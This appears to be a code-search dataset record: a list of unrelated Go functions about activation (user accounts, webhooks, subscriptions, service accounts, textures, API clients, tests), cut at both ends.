bson.M{\n\t\t\t\t\tActivatedKey: active,\n\t\t\t\t\tActivatedTimeKey: time.Now(),\n\t\t\t\t\tActivatedByKey: caller,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t}\n\treturn err\n\n}","func (group *ClientGroup) activate() {\n\tgroup.mutex.Lock()\n\tdefer group.mutex.Unlock()\n\tgroup.active++\n}","func (tx *TextureBase) Activate(sc *Scene, texNo int) {\n\tif tx.Tex != nil {\n\t\ttx.Tex.SetBotZero(tx.Bot0)\n\t\ttx.Tex.Activate(texNo)\n\t}\n}","func (r *SubscriptionsService) Activate(customerId string, subscriptionId string) *SubscriptionsActivateCall {\n\treturn &SubscriptionsActivateCall{\n\t\ts: r.s,\n\t\tcustomerId: customerId,\n\t\tsubscriptionId: subscriptionId,\n\t\tcaller_: googleapi.JSONCall{},\n\t\tparams_: make(map[string][]string),\n\t\tpathTemplate_: \"customers/{customerId}/subscriptions/{subscriptionId}/activate\",\n\t\tcontext_: googleapi.NoContext,\n\t}\n}","func ActivateServiceAccount(serviceAccount string) error {\n\t_, err := util.ShellSilent(\n\t\t\"gcloud auth activate-service-account --key-file=%s\",\n\t\tserviceAccount)\n\treturn err\n}","func (c *config) Activate(u *model.User, r *model.Repo, link string) error {\n\trawurl, err := url.Parse(link)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.Deactivate(u, r, link)\n\n\treturn c.newClient(u).CreateHook(r.Owner, r.Name, &internal.Hook{\n\t\tActive: true,\n\t\tDesc: rawurl.Host,\n\t\tEvents: []string{\"repo:push\"},\n\t\tUrl: link,\n\t})\n}","func (tx *TextureFile) Activate(sc *Scene, texNo int) {\n\tif tx.Tex == nil {\n\t\ttx.Init(sc)\n\t}\n\ttx.Tex.SetBotZero(tx.Bot0)\n\ttx.Tex.Activate(texNo)\n}","func (g *Gini) ActivateWith(act z.Lit) {\n\tg.xo.ActivateWith(act)\n}","func (v *VirtualEnvironment) Activate() *failures.Failure {\n\tlogging.Debug(\"Activating Virtual Environment\")\n\n\tactiveProject := os.Getenv(constants.ActivatedStateEnvVarName)\n\tif activeProject != \"\" {\n\t\treturn FailAlreadyActive.New(\"err_already_active\", v.project.Owner()+\"/\"+v.project.Name())\n\t}\n\n\tif strings.ToLower(os.Getenv(constants.DisableRuntime)) != \"true\" {\n\t\tif failure := v.activateRuntime(); failure != nil {\n\t\t\treturn failure\n\t\t}\n\t}\n\n\treturn nil\n}","func ActivateVersion(c *cli.Context) error {\n\t// get version string\n\tvstr, err := getVersionString(c)\n\tif err == errNoVersionString {\n\t\treturn ListInstalled(c)\n\t} else if err != nil {\n\t\treturn err\n\t}\n\tlogger.Debugf(\"specified version: %s\", vstr)\n\n\t// is is installed?\n\tinstalledVersions, err := GetInstalledVersions()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !stringContains(installedVersions, vstr) {\n\t\tlogger.Infof(\"version %s not installed, installing...\", vstr)\n\t\tif err = InstallPythonVersion(vstr, false); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// activate it\n\tif err := ActivatePythonVersion(vstr); err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"activated\", vstr)\n\treturn nil\n}","func (g *GitLab) Activate(ctx context.Context, user *model.User, repo *model.Repo, link string) error {\n\tclient, err := newClient(g.url, user.Token, g.SkipVerify)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_repo, err := g.getProject(ctx, client, repo.Owner, repo.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttoken, webURL, err := g.getTokenAndWebURL(link)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(token) == 0 {\n\t\treturn fmt.Errorf(\"no token found\")\n\t}\n\n\t_, _, err = client.Projects.AddProjectHook(_repo.ID, &gitlab.AddProjectHookOptions{\n\t\tURL: gitlab.String(webURL),\n\t\tToken: gitlab.String(token),\n\t\tPushEvents: gitlab.Bool(true),\n\t\tTagPushEvents: gitlab.Bool(true),\n\t\tMergeRequestsEvents: gitlab.Bool(true),\n\t\tDeploymentEvents: gitlab.Bool(true),\n\t\tEnableSSLVerification: gitlab.Bool(!g.SkipVerify),\n\t}, gitlab.WithContext(ctx))\n\n\treturn err\n}","func (auth Authenticate) ActivateDevice(session *types.Session, deviceInfo *types.Device) error {\n\t//Make sure session of the request is valid\n\taccount, err := auth.getAccountSession(session)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = manager.DeviceManager{}.ActivateDevice(account, deviceInfo, auth.DB, auth.Cache)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (p *Patch) SetActivation(activated bool) error {\n\tp.Activated = activated\n\treturn UpdateOne(\n\t\tbson.M{IdKey: p.Id},\n\t\tbson.M{\n\t\t\t\"$set\": bson.M{\n\t\t\t\tActivatedKey: activated,\n\t\t\t},\n\t\t},\n\t)\n}","func (p *Patch) SetActivation(activated bool) error {\n\tp.Activated = activated\n\treturn UpdateOne(\n\t\tbson.M{IdKey: p.Id},\n\t\tbson.M{\n\t\t\t\"$set\": bson.M{\n\t\t\t\tActivatedKey: activated,\n\t\t\t},\n\t\t},\n\t)\n}","func TestActivate(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"Skipping integration tests in short mode\")\n\t}\n\t// Get anonymous client (this will activate auth, which is about to be\n\t// deactivated, but it also activates Pacyderm enterprise, which is needed for\n\t// this test to pass)\n\tc := getPachClient(t, \"\")\n\n\t// Deactivate auth (if it's activated)\n\trequire.NoError(t, func() error {\n\t\tadminClient := &client.APIClient{}\n\t\t*adminClient = *c\n\t\tresp, err := adminClient.Authenticate(adminClient.Ctx(),\n\t\t\t&auth.AuthenticateRequest{GitHubToken: \"admin\"})\n\t\tif err != nil {\n\t\t\tif auth.IsErrNotActivated(err) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tadminClient.SetAuthToken(resp.PachToken)\n\t\t_, err = adminClient.Deactivate(adminClient.Ctx(), &auth.DeactivateRequest{})\n\t\treturn err\n\t}())\n\n\t// Activate auth\n\tresp, err := c.AuthAPIClient.Activate(c.Ctx(), &auth.ActivateRequest{GitHubToken: \"admin\"})\n\trequire.NoError(t, err)\n\tc.SetAuthToken(resp.PachToken)\n\n\t// Check that the token 'c' received from PachD authenticates them as \"admin\"\n\twho, err := c.WhoAmI(c.Ctx(), &auth.WhoAmIRequest{})\n\trequire.NoError(t, err)\n\trequire.True(t, who.IsAdmin)\n\trequire.Equal(t, admin, who.Username)\n}","func ActivateVersion(version, service string, client *fastly.Client) {\n\tv, err := strconv.Atoi(version)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tcommon.Failure()\n\t}\n\n\t_, err = client.ActivateVersion(&fastly.ActivateVersionInput{\n\t\tService: service,\n\t\tVersion: v,\n\t})\n\tif err != nil {\n\t\tfmt.Printf(\"\\nThere was a problem activating version %s\\n\\n%s\", common.Yellow(version), common.Red(err))\n\t\tcommon.Failure()\n\t}\n\n\tfmt.Printf(\"\\nService '%s' now has version '%s' activated\\n\\n\", common.Yellow(service), common.Green(version))\n}","func EncodeActivateRequest(ctx context.Context, v interface{}, md *metadata.MD) (interface{}, error) {\n\tpayload, ok := v.(*usermethod.ActivatePayload)\n\tif !ok {\n\t\treturn nil, goagrpc.ErrInvalidType(\"userMethod\", \"activate\", \"*usermethod.ActivatePayload\", v)\n\t}\n\treturn NewActivateRequest(payload), nil\n}","func (r *resetActivationUserInteractor) Execute(ctx context.Context, req InportRequest) (*InportResponse, error) {\n\n\tres := &InportResponse{}\n\tmail := &service.BuildMailServiceResponse{}\n\n\terr := repository.ReadOnly(ctx, r.outport, func(ctx context.Context) error {\n\t\tuserObj, err := r.outport.FindUserByID(ctx, req.ID)\n\t\tif err != nil {\n\t\t\treturn apperror.ObjectNotFound.Var(userObj)\n\t\t}\n\t\tif userObj.ActivatedAt.Valid {\n\t\t\treturn apperror.UserIsAlreadyActivated\n\t\t}\n\n\t\tRDBkey := userObj.RDBKeyForgotPassword()\n\t\tRDBvalue := r.outport.GenerateRandomString(ctx)\n\n\t\terr = r.outport.RDBSet(ctx, RDBkey, RDBvalue, time.Hour*72)\n\t\tif err != nil {\n\t\t\tlog.Error(ctx, err.Error())\n\t\t}\n\n\t\tmail = r.outport.BuildMailActivationAccount(ctx, service.BuildMailActivationAccountServiceRequest{\n\t\t\tID: userObj.ID,\n\t\t\tTo: userObj.Email,\n\t\t\tName: userObj.Name,\n\t\t\tActivationToken: RDBvalue,\n\t\t})\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgo r.outport.SendMail(ctx, service.SendMailServiceRequest{\n\t\tTo: mail.To,\n\t\tSubject: mail.Subject,\n\t\tBody: mail.Body,\n\t})\n\n\treturn res, nil\n}","func (prov *Provisioner) notifyActivation(resourceId string) error {\n\tconn, cerr := persistence.DefaultSession()\n\tif cerr != nil {\n\t\tlog.Errorf(\"[res %s] Error in getting connection :%v\", resourceId, cerr)\n\t\treturn cerr\n\t}\n\t//find the asset request for this notification\n\tar, err := conn.Find(bson.M{\"resourceid\": resourceId})\n\tdefer conn.Close()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tif ar.Status == persistence.RequestFulfilled {\n\t\tlog.Errorf(\"[res %s] Resource already fullfilled\", resourceId)\n\t\treturn fmt.Errorf(\"Resource is %s already full filled\", resourceId)\n\t}\n\tconn.Update(ar)\n\n\tif err = prov.activateVertexResource(resourceId); err != nil {\n\t\t//TODO This needs to be fixed, what is the correct status\n\t\tar.Status = persistence.RequestRetry\n\t\tconn.Update(ar)\n\t\treturn err\n\t}\n\n\tlog.Debugf(\"[res %s] Successfully activated resource\", resourceId)\n\tar.Status = persistence.RequestFulfilled\n\tif ar.Remediation {\n\t\tar.Remediation = false\n\t}\n\tar.Remediation = false\n\tconn.Update(ar)\n\treturn nil\n}","func (g *GitStatusWidget) Activate() {\n\tg.setKeyBindings()\n\tg.renderer.Activate()\n}","func (a *QuickConnectApiService) Activate(ctx _context.Context) (*_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/QuickConnect/Activate\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\", \"application/json; profile=CamelCase\", \"application/json; profile=PascalCase\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"X-Emby-Authorization\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 403 {\n\t\t\tvar v ProblemDetails\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarHTTPResponse, nil\n}","func (c *CryptohomeBinary) TPMAttestationRegisterKey(\n\tctx context.Context,\n\tusername,\n\tlabel string) (string, error) {\n\tout, err := c.call(\n\t\tctx,\n\t\t\"--action=tpm_attestation_register_key\",\n\t\t\"--user=\"+username,\n\t\t\"--name=\"+label)\n\treturn string(out), err\n}","func (client IdentityClient) activateDomain(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/domains/{domainId}/actions/activate\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ActivateDomainResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}","func TestOrgTeamEmailInviteRedirectsNewUserWithActivation(t *testing.T) {\n\tif setting.MailService == nil {\n\t\tt.Skip()\n\t\treturn\n\t}\n\n\t// enable email confirmation temporarily\n\tdefer func(prevVal bool) {\n\t\tsetting.Service.RegisterEmailConfirm = prevVal\n\t}(setting.Service.RegisterEmailConfirm)\n\tsetting.Service.RegisterEmailConfirm = true\n\n\tdefer tests.PrepareTestEnv(t)()\n\n\torg := unittest.AssertExistsAndLoadBean(t, &organization.Organization{ID: 3})\n\tteam := unittest.AssertExistsAndLoadBean(t, &organization.Team{ID: 2})\n\n\t// create the invite\n\tsession := loginUser(t, \"user1\")\n\n\tteamURL := fmt.Sprintf(\"/org/%s/teams/%s\", org.Name, team.Name)\n\treq := NewRequestWithValues(t, \"POST\", teamURL+\"/action/add\", map[string]string{\n\t\t\"_csrf\": GetCSRF(t, session, teamURL),\n\t\t\"uid\": \"1\",\n\t\t\"uname\": \"doesnotexist@example.com\",\n\t})\n\tresp := session.MakeRequest(t, req, http.StatusSeeOther)\n\treq = NewRequest(t, \"GET\", test.RedirectURL(resp))\n\tsession.MakeRequest(t, req, http.StatusOK)\n\n\t// get the invite token\n\tinvites, err := organization.GetInvitesByTeamID(db.DefaultContext, team.ID)\n\tassert.NoError(t, err)\n\tassert.Len(t, invites, 1)\n\n\t// accept the invite\n\tinviteURL := fmt.Sprintf(\"/org/invite/%s\", invites[0].Token)\n\treq = NewRequest(t, \"GET\", fmt.Sprintf(\"/user/sign_up?redirect_to=%s\", url.QueryEscape(inviteURL)))\n\tinviteResp := MakeRequest(t, req, http.StatusOK)\n\n\tdoc := NewHTMLParser(t, resp.Body)\n\treq = NewRequestWithValues(t, \"POST\", \"/user/sign_up\", map[string]string{\n\t\t\"_csrf\": doc.GetCSRF(),\n\t\t\"user_name\": \"doesnotexist\",\n\t\t\"email\": \"doesnotexist@example.com\",\n\t\t\"password\": \"examplePassword!1\",\n\t\t\"retype\": \"examplePassword!1\",\n\t})\n\tfor _, c := range inviteResp.Result().Cookies() {\n\t\treq.AddCookie(c)\n\t}\n\n\tresp = MakeRequest(t, req, http.StatusOK)\n\n\tuser, err := user_model.GetUserByName(db.DefaultContext, \"doesnotexist\")\n\tassert.NoError(t, err)\n\n\tch := http.Header{}\n\tch.Add(\"Cookie\", strings.Join(resp.Header()[\"Set-Cookie\"], \";\"))\n\tcr := http.Request{Header: ch}\n\n\tsession = emptyTestSession(t)\n\tbaseURL, err := url.Parse(setting.AppURL)\n\tassert.NoError(t, err)\n\tsession.jar.SetCookies(baseURL, cr.Cookies())\n\n\tactivateURL := fmt.Sprintf(\"/user/activate?code=%s\", user.GenerateEmailActivateCode(\"doesnotexist@example.com\"))\n\treq = NewRequestWithValues(t, \"POST\", activateURL, map[string]string{\n\t\t\"password\": \"examplePassword!1\",\n\t})\n\n\t// use the cookies set by the signup request\n\tfor _, c := range inviteResp.Result().Cookies() {\n\t\treq.AddCookie(c)\n\t}\n\n\tresp = session.MakeRequest(t, req, http.StatusSeeOther)\n\t// should be redirected to accept the invite\n\tassert.Equal(t, inviteURL, test.RedirectURL(resp))\n\n\treq = NewRequestWithValues(t, \"POST\", test.RedirectURL(resp), map[string]string{\n\t\t\"_csrf\": GetCSRF(t, session, test.RedirectURL(resp)),\n\t})\n\tresp = session.MakeRequest(t, req, http.StatusSeeOther)\n\treq = NewRequest(t, \"GET\", test.RedirectURL(resp))\n\tsession.MakeRequest(t, req, http.StatusOK)\n\n\tisMember, err := organization.IsTeamMember(db.DefaultContext, team.OrgID, team.ID, user.ID)\n\tassert.NoError(t, err)\n\tassert.True(t, isMember)\n}","func (_UsersData *UsersDataTransactor) SetActive(opts *bind.TransactOpts, uuid [16]byte, active bool) (*types.Transaction, error) {\n\treturn _UsersData.contract.Transact(opts, \"setActive\", uuid, active)\n}","func (c *Client) ActivateType(ctx context.Context, params *ActivateTypeInput, optFns ...func(*Options)) (*ActivateTypeOutput, error) {\n\tif params == nil {\n\t\tparams = &ActivateTypeInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"ActivateType\", params, optFns, c.addOperationActivateTypeMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*ActivateTypeOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}","func (r Virtual_Guest) ActivatePublicPort() (resp bool, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"activatePublicPort\", nil, &r.Options, &resp)\n\treturn\n}","func (b *OGame) ActivateItem(ref string, celestialID ogame.CelestialID) error {\n\treturn b.WithPriority(taskRunner.Normal).ActivateItem(ref, celestialID)\n}","func getUserByActivationCode(code string) *User {\n\tuser := &User{}\n\tdb := getDB()\n\tdefer db.Close()\n\n\tdb.Select(\"*\").\n\t\tWhere(\"activation_code = ?\", code).\n\t\tFirst(user)\n\n\treturn getUser(user)\n}","func ActivateStable(c *cli.Context) error {\n\tstable, err := GetStableVersion()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tisInstalled, err := isVersionInstalled(stable)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !isInstalled {\n\t\tif err := InstallPythonVersion(stable, false); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err = ActivatePythonVersion(stable); err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(stable)\n\treturn nil\n}","func (k Keeper) activateContract(ctx sdk.Context, contractAddress sdk.AccAddress) error {\n\tif !k.IsInactiveContract(ctx, contractAddress) {\n\t\treturn sdkerrors.Wrapf(wasmtypes.ErrNotFound, \"no inactivate contract %s\", contractAddress.String())\n\t}\n\n\tk.deleteInactiveContract(ctx, contractAddress)\n\tk.bank.DeleteFromInactiveAddr(ctx, contractAddress)\n\n\treturn nil\n}","func (a *DeviceAPI) GetActivation(ctx context.Context, req *api.GetDeviceActivationRequest) (*api.GetDeviceActivationResponse, error) {\n\tvar devAddr lorawan.DevAddr\n\tvar devEUI lorawan.EUI64\n\tvar sNwkSIntKey lorawan.AES128Key\n\tvar fNwkSIntKey lorawan.AES128Key\n\tvar nwkSEncKey lorawan.AES128Key\n\n\tif err := devEUI.UnmarshalText([]byte(req.DevEui)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"devEUI: %s\", err)\n\t}\n\n\tif valid, err := devmod.NewValidator(a.st).ValidateNodeAccess(ctx, authcus.Read, devEUI); !valid || err != nil {\n\t\treturn nil, status.Errorf(codes.Unauthenticated, \"authentication failed: %s\", err)\n\t}\n\n\td, err := a.st.GetDevice(ctx, devEUI, false)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tn, err := a.st.GetNetworkServerForDevEUI(ctx, devEUI)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tnsClient, err := a.nsCli.GetNetworkServerServiceClient(n.ID)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, err.Error())\n\t}\n\n\tdevAct, err := nsClient.GetDeviceActivation(ctx, &ns.GetDeviceActivationRequest{\n\t\tDevEui: d.DevEUI[:],\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcopy(devAddr[:], devAct.DeviceActivation.DevAddr)\n\tcopy(nwkSEncKey[:], devAct.DeviceActivation.NwkSEncKey)\n\tcopy(sNwkSIntKey[:], devAct.DeviceActivation.SNwkSIntKey)\n\tcopy(fNwkSIntKey[:], devAct.DeviceActivation.FNwkSIntKey)\n\n\treturn &api.GetDeviceActivationResponse{\n\t\tDeviceActivation: &api.DeviceActivation{\n\t\t\tDevEui: d.DevEUI.String(),\n\t\t\tDevAddr: devAddr.String(),\n\t\t\t//AppSKey: d.AppSKey.String(),\n\t\t\tNwkSEncKey: nwkSEncKey.String(),\n\t\t\tSNwkSIntKey: sNwkSIntKey.String(),\n\t\t\tFNwkSIntKey: fNwkSIntKey.String(),\n\t\t\tFCntUp: devAct.DeviceActivation.FCntUp,\n\t\t\tNFCntDown: devAct.DeviceActivation.NFCntDown,\n\t\t\tAFCntDown: devAct.DeviceActivation.AFCntDown,\n\t\t},\n\t}, nil\n}","func (u *User) Active() bool { return u.userData.Active }","func (_UsersData *UsersDataTransactorSession) SetActive(uuid [16]byte, active bool) (*types.Transaction, error) {\n\treturn _UsersData.Contract.SetActive(&_UsersData.TransactOpts, uuid, active)\n}","func (plugin *Plugin) activate(w http.ResponseWriter, r *http.Request) {\n\tvar req activateRequest\n\n\tlog.Request(plugin.Name, &req, nil)\n\n\tresp := ActivateResponse{Implements: plugin.Listener.GetEndpoints()}\n\terr := plugin.Listener.Encode(w, &resp)\n\n\tlog.Response(plugin.Name, &resp, 0, \"Success\", err)\n}"],"string":"[\n \"func (a *Auth) Activate(key []byte) error {\\n\\tif !bytes.Equal(a.ActivationKey, key) {\\n\\t\\treturn ErrInvalidActivationKey\\n\\t}\\n\\n\\tif time.Now().After(a.ActivationExpires) {\\n\\t\\treturn ErrActivationKeyExpired\\n\\t}\\n\\n\\ta.IsActive = true\\n\\ta.ActivationKey = nil\\n\\treturn nil\\n}\",\n \"func ActivateUser(t string) {\\n\\tsqlStmt := `UPDATE tblActivationTokens\\n\\t\\t\\t\\tSET fldIsActivated = true\\n\\t\\t\\t\\tWHERE fldToken = ?;`\\n\\n\\tstmt, err := globals.Db.Prepare(sqlStmt)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(err)\\n\\t}\\n\\tdefer stmt.Close()\\n\\n\\t// Execute insert and replace with actual values.\\n\\t_, err = stmt.Exec(t)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(err)\\n\\t}\\n}\",\n \"func (sry *Sryun) Activate(user *model.User, repo *model.Repo, key *model.Key, link string) error {\\n\\treturn nil\\n}\",\n \"func activateAccount(model *ActivateAccountModel) api.Response {\\n\\tvar err = auth.ActivateAppUser(model.Token)\\n\\n\\tif err != nil {\\n\\t\\treturn api.BadRequest(err)\\n\\t}\\n\\n\\treturn api.StatusResponse(http.StatusNoContent)\\n}\",\n \"func activateAppUser(token string) api.Response {\\n\\tvar err = auth.ActivateAppUser(token)\\n\\tif err != nil {\\n\\t\\treturn api.BadRequest(err)\\n\\t}\\n\\n\\treturn api.PlainTextResponse(http.StatusCreated, \\\"Account is now active\\\")\\n}\",\n \"func ActivateUser(w http.ResponseWriter, r *http.Request) {\\n\\tfLog := userMgmtLogger.WithField(\\\"func\\\", \\\"ActivateUser\\\").WithField(\\\"RequestID\\\", r.Context().Value(constants.RequestID)).WithField(\\\"path\\\", r.URL.Path).WithField(\\\"method\\\", r.Method)\\n\\tbody, err := ioutil.ReadAll(r.Body)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"ioutil.ReadAll got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tc := &ActivateUserRequest{}\\n\\terr = json.Unmarshal(body, c)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"json.Unmarshal got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \\\"Malformed json body\\\", nil, nil)\\n\\t\\treturn\\n\\t}\\n\\n\\tisValidPassphrase := passphrase.Validate(c.NewPassphrase, config.GetInt(\\\"security.passphrase.minchars\\\"), config.GetInt(\\\"security.passphrase.minwords\\\"), config.GetInt(\\\"security.passphrase.mincharsinword\\\"))\\n\\tif !isValidPassphrase {\\n\\t\\tfLog.Errorf(\\\"New Passphrase invalid\\\")\\n\\t\\tinvalidMsg := fmt.Sprintf(\\\"Invalid passphrase. Passphrase must at least has %d characters and %d words and for each word have minimum %d characters\\\", config.GetInt(\\\"security.passphrase.minchars\\\"), config.GetInt(\\\"security.passphrase.minwords\\\"), config.GetInt(\\\"security.passphrase.mincharsinword\\\"))\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \\\"invalid passphrase\\\", nil, invalidMsg)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser, err := UserRepo.GetUserByEmail(r.Context(), c.Email)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"UserRepo.GetUserByEmail got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tif user == nil {\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, fmt.Sprintf(\\\"User email %s not found\\\", c.Email), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tif user.ActivationCode == c.ActivationToken {\\n\\t\\tuser.Enabled = true\\n\\t\\tnewHashed, err := bcrypt.GenerateFromPassword([]byte(c.NewPassphrase), 14)\\n\\t\\tif err != nil {\\n\\t\\t\\tfLog.Errorf(\\\"bcrypt.GenerateFromPassword got %s\\\", err.Error())\\n\\t\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tuser.HashedPassphrase = string(newHashed)\\n\\t\\terr = UserRepo.UpdateUser(r.Context(), user)\\n\\t\\tif err != nil {\\n\\t\\t\\tfLog.Errorf(\\\"UserRepo.SaveOrUpdate got %s\\\", err.Error())\\n\\t\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tret := make(map[string]interface{})\\n\\t\\tret[\\\"rec_id\\\"] = user.RecID\\n\\t\\tret[\\\"email\\\"] = user.Email\\n\\t\\tret[\\\"enabled\\\"] = user.Enabled\\n\\t\\tret[\\\"suspended\\\"] = user.Suspended\\n\\t\\tret[\\\"last_seen\\\"] = user.LastSeen\\n\\t\\tret[\\\"last_login\\\"] = user.LastLogin\\n\\t\\tret[\\\"enabled_2fa\\\"] = user.Enable2FactorAuth\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \\\"User activated\\\", nil, ret)\\n\\t} else {\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, \\\"Activation token and email not match\\\", nil, nil)\\n\\t}\\n}\",\n \"func (c *Client) ActivateUser(userID uint64, email string) (err error) {\\n\\n\\tvar data map[string]string\\n\\n\\t// Basic requirements\\n\\tif userID > 0 {\\n\\t\\tdata = map[string]string{fieldID: fmt.Sprintf(\\\"%d\\\", userID)}\\n\\t} else if len(email) > 0 {\\n\\t\\tdata = map[string]string{fieldEmail: email}\\n\\t} else {\\n\\t\\terr = c.createError(fmt.Sprintf(\\\"missing required attribute: %s or %s\\\", fieldUserID, fieldEmail), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Fire the Request\\n\\tvar response string\\n\\tif response, err = c.Request(fmt.Sprintf(\\\"%s/status/activate\\\", modelUser), http.MethodPut, data); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Only a 200 is treated as a success\\n\\terr = c.Error(http.StatusOK, response)\\n\\treturn\\n}\",\n \"func (handler *Handler) handleUserActivationPut(w http.ResponseWriter, r *http.Request) {\\n\\n\\t//Define a local struct to get the email out of the request\\n\\ttype ActivationGet struct {\\n\\t\\tEmail string `json:\\\"email\\\"`\\n\\t\\tActToken string `json:\\\"activation_token\\\"`\\n\\t}\\n\\n\\t//Create a new password change object\\n\\tinfo := ActivationGet{}\\n\\n\\t//Now get the json info\\n\\terr := json.NewDecoder(r.Body).Decode(&info)\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonError(w, http.StatusUnprocessableEntity, 